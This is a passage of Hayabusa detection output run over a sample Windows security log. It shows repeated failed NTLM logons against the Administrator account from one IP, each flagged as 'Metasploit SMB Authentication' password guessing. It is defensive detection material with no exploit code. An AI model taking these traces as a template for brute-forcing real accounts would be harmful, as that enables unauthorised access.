Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o395tRQcfRBTTCSF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.853 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K1R4wlYWS4SkM3dF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.892 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.938 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RsZy0Yjvk720Mu22 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.938 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c8RusStjhReKBmS0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.026 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eJuPYLTcGaGvErLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.026 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: raCbua01mzU1Djuf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.069 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fnt8atAbMtxXivUs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.165 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: psokvQJyMn5m5rMh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.165 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wTPGqOITsOhpTgIF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.210 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xxhGrLzhwNziihc9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UIb1lHuPaC62UlBp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.296 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.338 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2uvXuLIR9yvmWngF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.338 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.382 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MI35CCybjNtntfwo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.382 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.426 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0GTJfOkk0fUC5YCX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.426 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.456 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jk6PsiAiLPsHGUh1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.456 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KeGDMp9My5eLJz55 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.496 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BvDQphjvwOCsNQqB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.541 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sbJhad4aocvPMYVP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.635 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJl3XqTUxvqiKKaG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.635 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a1fAJDfguuoNxWiR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.693 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: daAeGcsqoqERsEu6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0iynnwxS8v4C5b3E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.955 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2kU7IS4XCvgRpTff : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.955 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MBC8AJXBQHrCMrO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:08.999 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.049 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NSGraDQmI4MAq9Ls : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.049 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7u2Pb9y8hB0iYWh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A657rbd6k4AD7M4i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.132 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7rkiDUBuTCU2jDXR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jjsCFTQoobrkQoWF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.224 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.273 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2dNXav95nZyBhVOc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.273 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yeq1x56Ct6R2Nu3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pUwyCNtwydEQu2bd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.359 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bX7eihAOk3PUgbwM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WPXqAsaYaXEr8I9L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.442 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4SaEmIpmlH1VMDun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.480 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.534 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a3Dvp43a2h7Mzx2H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.534 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.575 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g3voKlRXc7rIaIYs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.575 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GF1Q5OhCLRAi96mN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: caHe4iY2CQoiumQI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.669 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJi6UAm6Pp6eax8Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.734 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2EW0t2wapD8yniO4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.872 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PnaITXTihpB0stwx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.872 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tdBVoa82WKEAW2ce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.913 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.953 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BelKzJrEjGIcU2dN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:09.953 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ujeb7fRHPGCGmFm2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.008 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Czwt7KF2sQHemwdJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.117 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LQQ4nNpbfKKVCJZH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:10.117 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 